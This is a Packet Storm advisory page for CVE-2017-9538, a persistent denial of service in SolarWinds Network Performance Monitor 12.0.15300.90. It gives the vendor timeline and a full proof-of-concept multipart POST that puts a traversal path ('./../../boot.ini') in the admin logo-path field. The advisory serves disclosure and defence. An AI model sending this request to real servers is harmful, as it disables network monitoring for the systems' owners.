Exploit the possiblities

SolarWinds Network Performance Monitor 12.0.15300.90 Denial Of Service

SolarWinds Network Performance Monitor 12.0.15300.90 Denial Of Service
Posted Sep 29, 2017
Authored by Andy Tan

SolarWinds Network Performance Monitor version 12.0.15300.90 suffers from a denial of service vulnerability.

tags | exploit, denial of service
advisories | CVE-2017-9538
MD5 | d05f6a9ed982b28617054ce1a9b8fe21

SolarWinds Network Performance Monitor 12.0.15300.90 Denial Of Service

Change Mirror Download
-------------------------------------------------------------
Vulnerability type: Persistent Application Denial of Service
-------------------------------------------------------------
Credit: Andy Tan
CVE ID: CVE-2017-9538
-----------------------------------------------
Product: SolarWinds Network Performance Monitor
-----------------------------------------------
Affected version: SolarWinds Network Performance Monitor version 12.0.15300.90 and possibly earlier
Hotfix: SolarWinds Orion Platform 2017.3 Hotfix 1

Description: An attacker has to inject an arbitrary payload e.g. ../../../boot.ini into the vulnerable field. After successful submission, the entire web application will encounter an error message displaying 'Unexpected Website Error, Cannot use a leading .. to exit above the top directory'. In other words, the denial of service is caused by an incorrect implementation of a directory-traversal protection mechanism. Restarting the service and the entire server itself does not resolve this issue.

Affected URL: https://<ip>/Orion/Admin/Settings.aspx
Navigation: Settings -> Web Console Settings -> Site Logo -> Upload logo from external path
Affected parameter: ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$logoPath


================
Proof of Concept
================
POST /Orion/Admin/Settings.aspx HTTP/1.1

<Fill up rest of the headers>



-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="__AntiXsrfTokenInput"



b752b8b9beec4c46ab90559cfcd2bc01

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00_ctl00_ctl00_BodyContent_ContentPlaceHolder1_adminContentPlaceholder_fileUploadImage_ClientState"





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="__EVENTTARGET"



ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$imgbtnSubmit

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="__EVENTARGUMENT"





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00_ctl00_ctl00_BodyContent_ContentPlaceHolder1_adminContentPlaceholder_fileUploadImageNoc_ClientState"





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="__VIEWSTATE"



/wEPDwUJNzUxMTg4OTYyDxYCHhNWYWxpZGF0ZVJlcXVlc3RNb2RlAgEWAmYPZBYCZg9kFgJmDw8WBB4PX19BbnRpWHNyZlRva2VuBSBiNzUyYjhiOWJlZWM0YzQ2YWI5MDU1OWNmY2QyYmMwMR4SX19BbnRpWHNyZlVzZXJOYW1lBQZhZG1pbjFkFgICBA9kFgICAQ9kFgICBA8WBB4FY2xhc3MFDnN3LWFwcC1yZWdpb24gHgdlbmN0eXBlBRNtdWx0aXBhcnQvZm9ybS1kYXRhFgICBQ9kFgICAQ9kFjYCAg8PFgQeCENzc0NsYXNzBRYgc3ctYnRuLXByaW1hcnkgc3ctYnRuHgRfIVNCAgIWAh4KYXV0b21hdGlvbgUWRG93bmxvYWQgaW5zdGFsbGVyIG5vd2QCBBAPFgQfBQUTc3ctdmFsaWRhdGlvbi1lcnJvch8GAgJkZGQCBRAPFgQfBQUTc3ctdmFsaWRhdGlvbi1lcnJvch8GAgJkZGQCBhAPFgQfBQUTc3ctdmFsaWRhdGlvbi1lcnJvch8GAgJkZGQCCRAPFgQfBQUTc3ctdmFsaWRhdGlvbi1lcnJvch8GAgJkZGQCChAPFgQfBQUTc3ctdmFsaWRhdGlvbi1lcnJvch8GAgJkZGQCDA8WAh4Fc3R5bGUFDmRpc3BsYXk6YmxvY2s7FgYCAQ9kFgICAQ9kFgJmDxYEHgJpZAVfY3RsMDBfY3RsMDBfY3RsMDBfQm9keUNvbnRlbnRfQ29udGVudFBsYWNlSG9sZGVyMV9hZG1pbkNvbnRlbnRQbGFjZWhvbGRlcl9maWxlVXBsb2FkSW1hZ2VfY3RsMDIfCAUMd2lkdGg6MzU1cHg7ZAICDw8WBB8FBSN4LWZvcm0tZmlsZS1idG4gc3ctYnRuLXNtYWxsIHN3LWJ0bh8GAgIWAh8HBQZCcm93c2VkAgQQDxYEHwUFE3N3LXZhbGlkYXRpb24tZX
Jyb3IfBgICZGRkAg4PFgIfCAUOZGlzcGxheTpibG9jazsWAgIFEA8WBB8FBRNzdy12YWxpZGF0aW9uLWVycm9yHwYCAmRkZAIQDxYCHwgFDmRpc3BsYXk6YmxvY2s7FgYCAQ9kFgICAQ9kFgJmDxYEHwkFYmN0bDAwX2N0bDAwX2N0bDAwX0JvZHlDb250ZW50X0NvbnRlbnRQbGFjZUhvbGRlcjFfYWRtaW5Db250ZW50UGxhY2Vob2xkZXJfZmlsZVVwbG9hZEltYWdlTm9jX2N0bDAyHwgFDHdpZHRoOjM1NXB4O2QCAg8PFgQfBQUjeC1mb3JtLWZpbGUtYnRuIHN3LWJ0bi1zbWFsbCBzdy1idG4fBgICFgIfBwUGQnJvd3NlZAIEEA8WBB8FBRNzdy12YWxpZGF0aW9uLWVycm9yHwYCAmRkZAISDxYCHwgFDmRpc3BsYXk6YmxvY2s7FgICBRAPFgQfBQUTc3ctdmFsaWRhdGlvbi1lcnJvch8GAgJkZGQCFBAPFgQfBQUTc3ctdmFsaWRhdGlvbi1lcnJvch8GAgJkZGQCFhAPFgQfBQUTc3ctdmFsaWRhdGlvbi1lcnJvch8GAgJkZGQCGA8QZBAVAxFTaG93IFdvcnN0IFN0YXR1cyNTaG93IFdvcnN0IFN0YXR1cyAoSW50ZXJmYWNlcyBvbmx5KRVTaG93IG9ubHkgSUNNUCBTdGF0dXMVAwEqFE9yaW9uLk5QTS5JbnRlcmZhY2VzABQrAwNnZ2dkZAIZDxYCHgRUZXh0Bb4BV2hlbiBzaG93aW5nIHRoZSBzdGF0dXMgb2YgYW55IHNpbmdsZSBub2RlIG9uIHRoZSBub2RlIHRyZWUgb3Igb24gYSBtYXAsPGJyIC8+eW91IGNhbiBzaG93IHRoZSBzdGF0dXMgb2YgdGhlIG5vZGUgYW5kIGl0cyBjaGlsZHJlbiwgbm9kZSBzdGF0dXMgYW5
kIGludGVyZmFjZXMsPGJyIC8+b3IganVzdCBub2RlIElDTVAgc3RhdHVzLmQ!
CHA8WAh8
KBVJQcm92aWRlIGlubGluZSBoaW50cyBmb3IgaW50ZWdyYXRpbmcgeW91ciBjdXJyZW50bHkgaW5zdGFsbGVkIFNvbGFyV2luZHMgcHJvZHVjdHMuZAIgEA8WBB8FBRNzdy12YWxpZGF0aW9uLWVycm9yHwYCAmRkZAIhEA8WBB8FBRNzdy12YWxpZGF0aW9uLWVycm9yHwYCAmRkZAIjEA8WBB8FBRNzdy12YWxpZGF0aW9uLWVycm9yHwYCAmRkZAIkEA8WBB8FBRNzdy12YWxpZGF0aW9uLWVycm9yHwYCAmRkZAImEA8WBB8FBRNzdy12YWxpZGF0aW9uLWVycm9yHwYCAmRkZAInEA8WBB8FBRNzdy12YWxpZGF0aW9uLWVycm9yHwYCAmRkZAIpEA8WBB8FBRNzdy12YWxpZGF0aW9uLWVycm9yHwYCAmRkZAIqEA8WBB8FBRNzdy12YWxpZGF0aW9uLWVycm9yHwYCAmRkZAIrEA8WBB8FBRNzdy12YWxpZGF0aW9uLWVycm9yHwYCAmRkZAIxEA8WBB8FBRNzdy12YWxpZGF0aW9uLWVycm9yHwYCAmRkZAIyEA8WBB8FBRNzdy12YWxpZGF0aW9uLWVycm9yHwYCAmRkZAIzDw8WBh8KBQZTdWJtaXQfBQUWIHN3LWJ0bi1wcmltYXJ5IHN3LWJ0bh8GAgIWAh8HBQZTdWJtaXRkGAMFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYKBVBjdGwwMCRjdGwwMCRjdGwwMCRCb2R5Q29udGVudCRDb250ZW50UGxhY2VIb2xkZXIxJGFkbWluQ29udGVudFBsYWNlaG9sZGVyJGxvZ29DYgVZY3RsMDAkY3RsMDAkY3RsMDAkQm9keUNvbnRlbnQkQ29udGVudFBsYWNlSG9sZGVyMSRhZG1pbkNvbnRlbnRQbGFjZWhvbGRlciRmaWxlVXBsb
2FkSW1hZ2UFV2N0bDAwJGN0bDAwJGN0bDAwJEJvZHlDb250ZW50JENvbnRlbnRQbGFjZUhvbGRlcjEkYWRtaW5Db250ZW50UGxhY2Vob2xkZXIkbG9nb0Zyb21VcmxDYgVTY3RsMDAkY3RsMDAkY3RsMDAkQm9keUNvbnRlbnQkQ29udGVudFBsYWNlSG9sZGVyMSRhZG1pbkNvbnRlbnRQbGFjZWhvbGRlciRub2NMb2dvQ2IFXGN0bDAwJGN0bDAwJGN0bDAwJEJvZHlDb250ZW50JENvbnRlbnRQbGFjZUhvbGRlcjEkYWRtaW5Db250ZW50UGxhY2Vob2xkZXIkZmlsZVVwbG9hZEltYWdlTm9jBVpjdGwwMCRjdGwwMCRjdGwwMCRCb2R5Q29udGVudCRDb250ZW50UGxhY2VIb2xkZXIxJGFkbWluQ29udGVudFBsYWNlaG9sZGVyJG5vY0xvZ29Gcm9tVXJsQ2IFWmN0bDAwJGN0bDAwJGN0bDAwJEJvZHlDb250ZW50JENvbnRlbnRQbGFjZUhvbGRlcjEkYWRtaW5Db250ZW50UGxhY2Vob2xkZXIkY2JBdWRpdGluZ1RyYWlscwViY3RsMDAkY3RsMDAkY3RsMDAkQm9keUNvbnRlbnQkQ29udGVudFBsYWNlSG9sZGVyMSRhZG1pbkNvbnRlbnRQbGFjZWhvbGRlciRjaGJTaG93RGF0YVBvaW50c09uTGluZXMFW2N0bDAwJGN0bDAwJGN0bDAwJEJvZHlDb250ZW50JENvbnRlbnRQbGFjZUhvbGRlcjEkYWRtaW5Db250ZW50UGxhY2Vob2xkZXIkY2JOb3RpZnlSZW1vdmFibGUFYGN0bDAwJGN0bDAwJGN0bDAwJEJvZHlDb250ZW50JENvbnRlbnRQbGFjZUhvbGRlcjEkYWRtaW5Db250ZW50UGxhY2Vob2xkZXIkY2JBdXRvbWF0aWNHZW
9sb2NhdGlvbgUuY3RsMDAkY3RsMDAkY3RsMDAkQm9keUNvbnRlbnQkY3RsMD!
AkTG9naW
5WaWV3MQ8PZAIBZAUuY3RsMDAkY3RsMDAkY3RsMDAkQm9keUNvbnRlbnQkY3RsMDAkTG9naW5WaWV3Mg8PZAIBZBC54iMHZwWuUrSOCyy3YhYFyEN1

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"



8442CAB0

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbSessionTimeout"



25

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ddlWindowsAccountLogin"



False

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbAutoRefresh"



5

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$logoCb"



on

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$fileUploadImage$ctl00"





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$fileUploadImage$ctl02"; filename=""

Content-Type: application/octet-stream





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$logoFromUrlCb"



on

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$logoPath"



./../../boot.ini

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$nocLogoCb"



on

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$fileUploadImageNoc$ctl00"





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$fileUploadImageNoc$ctl02"; filename=""

Content-Type: application/octet-stream





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$nocLogoPath"





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbSiteLoginText"





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbHelpServer"



http://www.SolarWinds.com

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ddlRollupWorstStatus"



False

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ddlNodeChildStatusParticipationRule"



*

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ddlNodeChildStatusDisplayMode"



NoBlink

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ddlTipsIntegration"



1

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$cbDragAndDropResources"



1

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$cbAuditingTrails"



on

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbChartAspect"



0.620000004768372

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbThumbnailAspect"



0.600000023841858

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbPercentile"



95

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbMaximumSeries"



10

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$chbShowDataPointsOnLines"



on

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ddlFontSize"



1

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbAutoRefreshActiveAlerts"



1

-----------------------------180072296016649028841705926975--



------------------------
Vendor contact timeline:
------------------------
2017-06-12: Contacted vendor.
2017-06-23: Vendor responded that bug jury completed and vulnerability is assigned to vNext milestone.
2017-08-22: Contacted vendor again.
2017-08-23: Vendor responded that hotfix will be released for all products shipping on Orion Core 2017.3
2017-09-28: Contacted vendor again.
2017-09-28: Vendor responded that the vulnerability is addressed in the recently released Hotfix for Core 2017.3
2017-09-29: Public disclosure.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    12 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close